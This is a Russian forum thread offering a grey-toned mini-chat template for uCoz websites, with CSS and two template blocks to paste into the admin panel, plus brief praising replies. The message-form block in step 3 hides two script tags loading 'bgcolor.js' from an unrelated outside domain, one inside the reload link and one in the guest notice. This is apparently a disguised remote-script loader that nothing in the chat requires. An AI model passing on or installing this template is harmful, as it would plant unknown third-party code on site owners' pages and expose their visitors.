новый Чат для ucoz - Форум ProUcoz.com - новый Чат для ucoz - Форум ProUcoz.com
Понедельник 12:31 | 23.01.2017
Свежие темы · Участники · Правила форума · Поиск · RSS
Страница 1 из 11
Модератор форума: GrandDooM, FR3cH 
Форум ProUcoz.com » Готовые скрипты и интересные решения для системы uCoz » Другие скрипты для uCoz » новый Чат для ucoz
новый Чат для ucoz
Канадаfafirok[Нет на сайте]
Дата: Вторник, 10.07.2012, 18:29 | Сообщение # 1
Сообщений: 208
Смотрим скрин скрипта: http://s018.radikal.ru/i525/1207/29/cec228cbc405.png

Шикарный чат для uCoz, правда? Чат выполнен в серых тонах с использованием изменных иконок. Чат uCoz подойдет для светлых дизайнов, но небольшая магия с CSS чата и цветовую гамму можно настроить под любой дизайн сайта uCoz.
Установка uCoz мини чата много времени не займет. Следуйте инструкции...

Шаг 1 - Установка CSS

Code
/* Стиль чата wallaby.ucoz.ru */
.mchat textarea {border:1px solid #DBDBDB;background:#f7f7f7;padding-right:5px;}   
.mchat textarea:hover {background:#fff;}   
.mchat input {background:#E8E8E8;border:1px solid #DBDBDB;border-left:none;height:40px;margin-left:-2px;width:20px;}   
.gost {background:#fff;border:1px solid #DBDBDB;padding:5px;border-left:none;text-align:left;margin-left:-3px;padding-bottom:2px;margin-top:-5px;height:50px;font:10px Tahoma;}   
.op_fon {background:#f7f7f7;border:1px solid #DBDBDB;border-right:1px dotted #ccc;width:40px;height:50px;}   
.op_fon img {padding-left:5px; filter:progid:DXImageTransform.Microsoft.alpha(opacity=60);-moz-opacity:0.6;opacity:0.6;}   
.option {border:1px solid #ccc;height:20px;margin:5px 0;width:100%;padding-top:3px;background:#fff;filter:progid:DXImageTransform.Microsoft.alpha(opacity=40);-moz-opacity:0.4;opacity:0.4;}   
.option:hover {filter:progid:DXImageTransform.Microsoft.alpha(opacity=100);-moz-opacity:1;opacity:1;}   
.chat {background:#E8E8E8;border:1px solid #DBDBDB;padding:3px 0;font:11px Tahoma;border-top:none;}   
.cBlock {margin:0px;padding:0px;border:none;}   
.cMessage {background:#F8F8F8;border:1px solid #DBDBDB;border-top:none;padding:4px;font:11px Tahoma;}


Шаг 2 - Вид материалов

Теперь устанавливаем вид материалов чата. Заходи в П.У - Дизайн - Управление дизайном - Мини-чат - Вид материалов:

Code
<div class="cBlock">   
   <div class="chat">   
   <span style="float:right">$TIME$</span>   
   <div style="text-align:left;">   
   <div style="padding-left:7px;"><a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b>$NAME$</b></a></div>   
   </div>   
   </div>   
   <div class="cMessage" style="text-align:left;">$MESSAGE$</div>   
   </div>


Шаг 3 - Форма добавления сообщений

Устанавливаем следующий дизайн чата. Заходи в П.У - Дизайн - Управление дизайном - Мини-чат - Форма добавления сообщений:

Code
  </style>   
   <?if($USER_LOGGED_IN$)?>   
   <div class="option">   

   <a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://wallaby.ucoz.ru/chats/arrow_cycle.png" width="16" height="16"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script></a>   
   <?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://wallaby.ucoz.ru/chats/smiley-mr-green.png" width="16" height="16"></a><?endif?>   
   <?if($BBCODES_URI$)?> <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://wallaby.ucoz.ru/chats/application-xml.png" width="16" height="16"></a><?endif?>   
   <?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями"><img alt="" border="0" align="absmiddle" src="http://wallaby.ucoz.ru/chats/x-office-document.png" width="16" height="16"></a><?endif?>   

   </div>   
   <table class="mchat" cellspacing="0" cellpadding="0">   
   <tr>   
   <td width="100%">$FLD_MESSAGE$</td>   
   <td>$SUBMIT$</td>   
   </tr>   

   </table>   
   <?if($FLD_SECURE$)?>   
   <table class="codes">   
   <tr><td>$FLD_SECURE$</td><td>$IMG_SECURE$</td></tr>   
   </table><?endif?>   
   <?else?><br>   
   <table cellspacing="0" cellpadding="0">   
   <tr>   
   <td class="op_fon">   
   <img src="http://wallaby.ucoz.ru/chats/alert.png" width="28" height="28"></td>   
   <td class="gost" valign="top">  
   <script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script>
   Для добавления сообщения <a href="/index/3">зарегистрируйтесь</a>.   
   </td>   
   </tr>   
   </table>   
   <?endif?>

---------------------------------------------------------------------------------
СКРИН ТЕМНОГО МИНИ-ЧАТА: http://s009.radikal.ru/i310/1207/49/e011d10d4e88.png

Если кому-то нужен темный дизайн мини-чата, его можно скачать по ссылке: narod.ru/disk/55914126001.b390769a3622fc2c39dc75c3ba452b03/chat.zip.html


fafirok
 
FR3cH[Нет на сайте]
Дата: Среда, 11.07.2012, 14:10 | Сообщение # 2
Хитрец всем хитрым
Сообщений: 213
скрин:


скрин темного дизайна:


Впрочем, скрипт неплохой,красивый. +4


 
FR3cH[Нет на сайте]
Дата: Четверг, 12.07.2012, 01:47 | Сообщение # 3
Хитрец всем хитрым
Сообщений: 213
Ссылка на черный дизайн перестала работать,может это у браузера баги, автор прошу перепроверь.

 
Канадаfafirok[Нет на сайте]
Дата: Пятница, 13.07.2012, 19:14 | Сообщение # 4
Сообщений: 208
ссылка работает.. только что проверил !

fafirok
 
КазахстанSfendo[Нет на сайте]
Дата: Понедельник, 23.07.2012, 14:46 | Сообщение # 5
Сообщений: 9
Простой и удобный чат happy
Quote (FR3cH)
Ссылка на черный дизайн перестала работать,может это у браузера баги, автор прошу перепроверь.

Все работает! Проверил у себя на сайте.
 
Форум ProUcoz.com » Готовые скрипты и интересные решения для системы uCoz » Другие скрипты для uCoz » новый Чат для ucoz
Страница 1 из 11
Поиск: